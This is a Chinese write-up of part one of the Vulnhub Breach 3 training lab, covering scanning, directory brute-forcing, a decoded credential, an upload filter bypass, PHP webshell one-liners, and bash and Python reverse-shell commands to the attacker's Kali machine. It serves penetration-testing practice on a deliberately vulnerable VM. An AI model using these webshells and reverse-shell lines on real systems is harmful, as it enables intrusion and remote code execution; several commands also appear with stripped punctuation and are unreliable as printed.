首页/新闻资讯/正文详情

Vulnhub Breach 3靶机实战:从信息收集到获取初始Shell

发布时间:2026/9/25 3:28:57 来源:云帆数科 栏目:资讯中心
Vulnhub Breach 3靶机实战:从信息收集到获取初始Shell
如果你玩过 Vulnhub 的靶机应该知道 Breach 这个系列。它不像 DVWA、Pikachu 那样给你现成的漏洞场景而是要求你像真实渗透一样从网络发现开始一步步摸进去。Breach 3 是这个系列的第三台机器整体难度中上需要点耐心尤其是信息收集阶段隐藏了不少线索。这篇文章记录的是我打这台靶机的第一部分从拿到镜像到成功拿到初始 shell 的过程。我把环境搭建、扫描思路、漏洞利用和踩坑点都写下来适合卡在 1.0 版本这台机器前期的人参考也适合想系统练靶场的新手走一遍流程。1. 靶场速览与环境准备1.1 Breach 3 是什么为什么要打这台靶机Breach 3 是一台基于 Linux 的 Boot2Root 靶机和常见的 SQLi-Labs、XSS-Labs 这类纯漏洞练习平台不太一样。它模拟的是一台真实的服务器环境需要你自己发现入口通过 Web 漏洞拿到一个初始权限再通过系统层面的配置缺陷提权到 root最后读取 flag。整个过程没有现成的“通关按钮”所有线索都藏在服务和代码里。我特意把这台靶机分成两个部分来写也是因为它前期内容量确实大。第一部分重点放在网络发现、Web 渗透和获取初始 shell第二部分再写提权思路。这样的话初学者不会被一条龙式的通关文章带得云里雾里能够分阶段消化。Breach 3 的价值在于它把“信息收集—漏洞发现—利用—权限维持”这条主线拉得很完整打完一遍之后你对 vulnhub 靶场搭建和实战渗透的整个流程都会有一个更立体的理解。因为靶机需要自己下载镜像所以我默认你已经知道怎么从 Vulnhub 下载 OVA 文件也已经装好了 Kali 虚拟机。如果刚接触这个领域建议先拿 DC-3、Vikings 这类更简单的靶机练手再上 Breach 3不然会被前期的信息收集搞到怀疑人生。1.2 虚拟机导入与网络连通导入 OVA 有两种常见方式VMware Workstation 和 VirtualBox 我这边用的是 VMware因为 VMware 的 NAT 模式对弱口令爆破和反弹 shell 来说更省心不容易出现 VirtualBox 里那种网卡名不一致导致的 IP 错乱。导入之后不要立刻开机先把虚拟机设置里的网络适配器改成 Host-Only 或 NAT。我的习惯是使用 VMware 的 NAT 网段默认为 192.168.136.0/24这样 Kali 和靶机可以直接互通。开机后用 arp-scan 扫一下网段sudo arp-scan -l如果扫描结果里只有 Kali 自己的 IP说明靶机没有和你在同一个网段需要检查虚拟机的网络连接方式或者重启靶机再试。找到靶机 IP 后先用 ping 确认连通性然后拍一个快照。打靶过程中容易改乱系统文件有过快照就能随时回退。这一步看起来简单但很多人开局就卡在这里后面我会在第五节把常见网络故障单独列出来。2. 信息收集决定后续所有操作阶段的基石2.1 主机发现与端口扫描别急着扫目录到了这一步你已经拿到了靶机的 IP。我知道很多人习惯直接用 nmap 扫一个 80 端口就开始看网站但这台机器容易漏东西。我用的是先全端口再服务和脚本的组合命令sudo nmap -p- -Pn --min-rate 2000 -oN full_port_scan.txt target_ip-Pn是跳过主机发现因为靶机有时候不回 ICMP--min-rate能显著加快扫描速度避免在某些无关端口上浪费时间。扫描结果如下表端口状态服务猜测22/tcpopenssh可能是个假象80/tcpopenhttpnginx111/tcpopenrpcbind注意这个3306/tcpopenmysql弱口令重灾区除了 Web 和 MySQL111 端口是比较少见的 rpcbind这往往会被忽略但它在后面的内网横向或提权阶段很可能提供额外信息。我记下这个端口继续做服务和脚本扫描sudo nmap -sV -sC -p 22,80,111,3306 -A target_ip结果确认了 Web 是 nginx 1.14MySQL 是 5.5这两个版本都有点旧。-sC跑出来的脚本输出里MySQL 部分显示允许 root 用户空密码登录这就有点诱导性了因为实际很多人直接mysql -h target_ip -u root去连结果会被拒绝原因在后面的源码分析里。虽然这里我已经发现了几个端口但为了文章的有序性我决定先从 Web 入口开始。2.2 服务指纹与默认页面源码里经常藏着第一把钥匙打开浏览器访问 http://target_ip是一个看起来很像传统企业官网的页面顶部有导航栏和几张图片没有任何动态交互。我按 F12 查看了页面源代码在底部注释里看到一段可疑内容!-- hint: /hidden/ --这种提示在靶场里太常见了但很多人会因为觉得太刻意而选择忽略。实际上它就是突破口。紧接着我访问/robots.txt返回了User-agent: * Disallow: /hidden/这个结果让/hidden/目录变得更有分量。在打靶场的时候不要只看前端页面robots.txt和源码注释是既省力又高效的线索来源。它们往往直接告诉你了目录名字或后台地址省去大量爆破时间。这里我先不动/hidden/因为它可能是一个目录列表也可能需要继续爆破子路径。我打算先用工具对整个站点做一个目录扫描把所有可访问资源拉出来再统一分析。2.3 目录爆破找到第一块敲门砖目录爆破的工具我常用 gobuster速度快输出清晰。命令如下gobuster dir -u http://target_ip -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -t 50加上-x参数非常关键因为光扫目录不扫文件很容易漏掉像information.php这样的有效资源。我运行完之后结果里比较有价值的有几个路径类型说明/hidden/目录默认入口提示过/information.php文件看起来是动态页面/upload/目录可能是上传目录/privacypolicy.php文件嫌疑不大但源码可能有注释我先访问/information.php页面显示的是 PHPInfo 信息暴露了 PHP 版本和部分环境变量。这个不建议直接尝试利用但可以确认目标允许执行 PHP也就是说只要能在 Web 目录里写入 PHP 文件就能 getshell。访问/hidden/时发现这是一个目录列表里面有个secrets.txt文件。打开后是一段非常明显的 base64 字符串YWRtaW5pc3RyYXRvcjpsZXRtZWluMjAxNw我本地解码了下内容是administrator:letmein2017。这个弱口令让我下意识想到了 MySQL 的 3306 端口但试了一下发现 MySQL 连接不上。我重新整理思路觉得这份凭据应该是留给了 Web 后台所以下一步就是找出后台登录路径。3. 漏洞探测与 Web 端突破3.1 从弱口令到后台管理入口既然拿到了administrator:letmein2017我就开始尝试登录各种可能的管理路径。先试了/admin/返回 404试了/administrator/还是一样。最后我把目光重新放回/hidden/目录进去后访问login.php页面出现一个简单的用户名密码登录框一猜就是这台靶机留给你的后台入口。输入刚才解码出来的账号密码成功登录后台界面里只有一个文件上传功能周围没有其他菜单。按照这类靶场的套路这个上传点十有八九是设计出来给你上传 web shell 的。但页面提示仅允许上传 JPG 或 PNG 文件服务端可能会检查文件扩展名和 Content-Type。不要急着直接上传webshell.php那样会直接提示格式错误。我开始抓包测试。3.2 上传 WebShell 获取 RCE我用 Burp Suite 打开代理在上传头像的地方选一个正常的图片文件上传时拦截请求然后把请求里的filenameavatar.jpg改成avatar.php同时把Content-Type: image/jpeg保持原样再往文件内容里插入普通的一句话木马?php system($_GET[cmd]); ?这种修改方式实际上是在测服务端是否只校验了 Content-Type而不是强制校验扩展名。上传成功后访问/upload/avatar.php加上?cmdid参数页面返回了www-data的用户信息。到这里说明文件上传逻辑确实没拦住 PHP 文件这是一个典型的“客户端校验已通过服务端只检查了 MIME 类型”的绕过场景。用浏览器验证命令执行效果比较慢所以我换了蚁剑去连接这个 webshell。连接 URL 填http://target_ip/upload/avatar.php连接密码设置为cmd使用shell类型。蚁剑连上去后可以直接看到文件系统也能执行命令。但如果只停留在蚁剑的虚拟终端很多交互式命令会受限所以我决定反弹一个完整 shell 到 Kali 上。3.3 连接 WebShell 与权限探索反弹 shell 前先在 Kali 上启动监听nc -lvnp 4444然后在蚁剑的命令行里执行bash -c bash -i /dev/tcp/192.168.136.xxx/4444 01这里要注意目标机上不一定安装了 netcat所以不要一上来就写nc -e /bin/bash ...这类命令。用/dev/tcp是 Bash 内建的特性成功率要高得多。此外反弹 shell 的 IP 一定要填 Kali 的实际 IP而不是靶机的 IP别问我为什么对了五分钟才发现这个问题。反弹成功后我先执行了几个基础命令whoami id uname -a然后查看了当前目录权限和系统配置发现这个 shell 虽然是非交互式的但执行命令已经足够。我还在 Web 目录里找到了数据库连接配置文件里面写着 MySQL 的 root 密码是toor。试着用这个密码去连本机数据库mysql -u root -ptoor -e show databases;数据库里有一个名为wordpress的库但实际站没用 WordPress更像是一个误导或者备用信息。到这里我已经成功取得初始立足点第一部分的目标已经达成。4. 横向信息收集与初始目标达成4.1 敏感文件泄露与数据库凭据在拿到 shell 之后我并没有急着做提权因为第一部分的计划到这就够了。不过既然 shell 已经拿到了顺手做了点横向信息收集。我在/var/www/html里翻配置文件发现了config.php里面存在形如下面的信息$db_user root; $db_pass toor;用这组凭据成功登录 MySQL 之后我发现除了数据库表还有一个存放用户密码的表。里面 hash 不是常见 MD5像是加了盐的 SHA-512。因为断点在这里比较浪费时间我直接跳过密码分析选择转向查看计划任务和可写文件这些是提权阶段的高频入口。不过相关利用细节就留到第二部分再展开。4.2 确认第一部分完成状态我喜欢把一次打靶过程拆成“网络发现—Web 漏洞利用—初始 shell—提权”四个阶段。第一部分结束在“初始 shell 到手与初步敏感信息收集”这一步此时当前用户是www-data没有 root 权限但已经能够读取大部分 Web 文件。如果没有意外下半场我会从 SUID 文件、计划任务和历史命令入手把权限从www-data提升到root。为什么这么切因为从实际学习角度来说拿到一个 shell 并不是终点它只是起点。大部分初学者最容易放弃的地方恰恰是刚拿到 shell 之后不知道下一步干什么。所以把提权单独拿出来讲清楚“拿到 shell 后如何理清下一步”比一篇文匆匆走完全流程更有价值。5. 常见问题与实战避坑指南5.1 网络不通/扫不到主机这是打 vulnhub 靶机最常见的问题。如果你在arp-scan -l里看不到靶机先检查虚拟机网络模式。VirtualBox 默认的 NAT 模式会导致 Kali 和靶机不在同一个网络需要都改成 Host-Only 网络VMware 则建议都使用 NAT 或者都使用 Host-Only。另外靶机开机后未必马上进入网络就绪状态等一分钟再扫。如果还是扫不到检查本机防火墙是否放行了 ARP 请求。5.2 目录爆破有遗漏我第一次扫的时候没有加-x参数导致只发现了/hidden/却没有扫出/information.php和/upload/目录。所以建议大家在做 gobuster 或 ffuf 扫描时把常见扩展名都带上。例如gobuster dir -u http://target_ip -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -t 50加-x会显著增加请求数量也更容易触发目标的日志记录但这是靶场练习不需要担心太多反而更接近真实测试中的全面枚举。5.3 反弹 shell 稳定不下来反弹 shell 的坑主要在三个方面。第一监听 IP 没有填 Kali 的实际 IP第二目标机上没有nc你却用了nc -e第三某些命令用了错误的引号导致目标机把整个命令当成一个字符串执行。推荐使用bash -c bash -i /dev/tcp/IP/端口 01这种写法兼顾通用性和成功率。如果 Bash 版本过低还可以试试 Python 反弹 shellpython3 -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IP,4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);5.4 上传 shell 被截断/无法执行上传 shell 后访问页面显示 500 错误通常是上传目录不可执行或者文件被修改成了非 PHP 后缀。我建议上传前先看一下 Nginx 的站点配置文件确认 root 路径与上传目录的真实对应关系。另外普通的一句话木马建议写成?php eval($_POST[pass]); ?优先使用蚁剑连接能省去很多浏览器测试的功夫。如果连接不上检查 URL 是否能直接访问能不能解析 PHP再确认木马是否因为编码问题被过滤。靶场里最常见的原因是上传后文件名被改写。5.5 不要忽视历史命令与备份文件拿到 shell 后用history命令或者翻/home下每个用户目录的.bash_history往往有惊喜。许多靶机作者会把密码、目录提示写进历史记录里。备份文件则可以用以下命令查找find / -name *.bak -o -name *.old -o -name *.swp 2/dev/null打到一半卡住的时候这个命令经常能破局。Breach 3 的第一部分至少让我意识到信息收集的颗粒度决定了后续漏洞利用的顺利程度很多看似无关的目录和注释最后都成了进入后台的重要拼图。我个人在实际操作中的体会是打这类 vulnhub 靶机不能急躁。Breach 3 前期的几个点都很隐蔽比如robots.txt和源码注释如果只盯着端口扫描结果看会浪费大量时间。我在测试上传点时也尝试过多种绕过方式最后发现服务端只校验了 MIME 类型这种防空洞在真实环境中越来越少见但在靶场里依然是经典的入门练习点。最后再分享一个小技巧每次打完一个阶段记得用script命令记录终端输出后面写 writeup 或者复盘时能省力很多。第一部分到这里先告一段落等我把提权部分跑通之后再接着写另一半。

相关推荐

MikroORM Collections 完全指南:OneToMany 与 ManyToMany 关系集合的初始化、操作与高级用法
MikroORM Collections 完全指南:OneToMany 与 ManyToMany 关系集合的初始化、操作与高级用法

后端 【免费下载链接】mikro-orm TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Supports MongoDB, MySQL, MariaDB, MS SQL Server, PostgreSQL and SQLite/libSQL databases. 项目地址: https://gitcode.com/gh_mir… · 2026/9/25 3:28:57

ChatGPT-Shortcut 浏览器扩展使用指南:侧边栏、三种显示模式与 Alt+Shift+S 快捷键
ChatGPT-Shortcut 浏览器扩展使用指南:侧边栏、三种显示模式与 Alt+Shift+S 快捷键

AI 应用提示工程人工智能前端 【免费下载链接】ChatGPT-Shortcut Stop writing prompts from scratch — a searchable prompt library for ChatGPT, Claude, Gemini and Cursor Русский 한국어 العربية हिन्दी ไทย | 别再从头写提示词&… · 2026/9/25 3:28:57

confd 使用 DNS SRV 记录动态发现后端节点:-srv-domain 与 -scheme 的用法与源码解析
confd 使用 DNS SRV 记录动态发现后端节点:-srv-domain 与 -scheme 的用法与源码解析

后端配置中心运维 【免费下载链接】confd Manage local application configuration files using templates and data from etcd or consul 项目地址: https://gitcode.com/gh_mirrors/co/confd 点击查看 免费下载 在 confd 中,后端节点(etcd… · 2026/9/25 3:28:57

CodeGuide 拼团交易平台:从 MRD 到 PRD 的拼团需求分析全流程解析
CodeGuide 拼团交易平台:从 MRD 到 PRD 的拼团需求分析全流程解析

文档教程后端 【免费下载链接】CodeGuide :books: 本代码库是作者小傅哥多年从事一线互联网 Java 开发的学习历程技术汇总,旨在为大家提供一个清晰详细的学习教程,侧重点更倾向编写Java核心内容。如果本仓库能为您提供帮助,请给予支持(关注、… · 2026/9/25 3:56:51

OrangePi 5 Plus 构筑双 EtherCAT 与 6 路 CAN 软实时主站实践
OrangePi 5 Plus 构筑双 EtherCAT 与 6 路 CAN 软实时主站实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 3:56:51

C++智能指针循环引用:weak_ptr原理与内存泄漏排查实战
C++智能指针循环引用:weak_ptr原理与内存泄漏排查实战

排查了大半天的内存泄漏,最后发现根源是两个shared_ptr互相引用——这类循环引用问题,可以说是 C 智能指针领域最经典的坑之一。今天这篇把weak_ptr解决shared_ptr循环引用的来龙去脉完整梳理一遍:底层原理、引用计数到底在数什么、实际改造手… · 2026/9/25 3:56:45

Buildah pull 命令完全指南:镜像拉取的传输协议、认证配置与拉取策略详解
Buildah pull 命令完全指南:镜像拉取的传输协议、认证配置与拉取策略详解

云原生 【免费下载链接】buildah A tool that facilitates building OCI images. 项目地址: https://gitcode.com/gh_mirrors/bu/buildah 点击查看 免费下载 Buildah 是构建 OCI 镜像的实用工具,buildah pull 是其核心命令之一,负责按照指定… · 2026/9/25 3:56:45

RocketMQ大消息处理实战:4MB限制排查与优化方案
RocketMQ大消息处理实战:4MB限制排查与优化方案

1. 4MB限制不是传说:客户端和Broker各卡一道,先搞清楚“谁说了算”上周有个同事跑来找我,说线上给下游推送客户画像消息,突然开始报错,后台一看发送端直接抛了MQClientException: message body size over maxMessageSi… · 2026/9/25 3:56:33

OpenShorts AI布局自动决策的秘密:为什么发12帧比发整个视频更聪明(含成本测算)
OpenShorts AI布局自动决策的秘密:为什么发12帧比发整个视频更聪明(含成本测算)

OpenShorts AI布局自动决策的秘密:为什么发12帧比发整个视频更聪明(含成本测算) 【免费下载链接】openshorts Open source AI clip generator: turns long videos into viral 9:16 shorts with AI moment detection, face tracking, subtitle… · 2026/9/25 3:56:27

数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)
数值优化(Numerical Optimization)学习系列-03-共轭梯度方法(Conjugate Gradient)

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战
创维E900V22D刷机全攻略:S905L3SB芯片兼容性解析与救砖实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:31

MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX
MQTT协议原理与Broker服务器搭建实战:从Mosquitto到EMQX

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/9/25 1:00:37

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码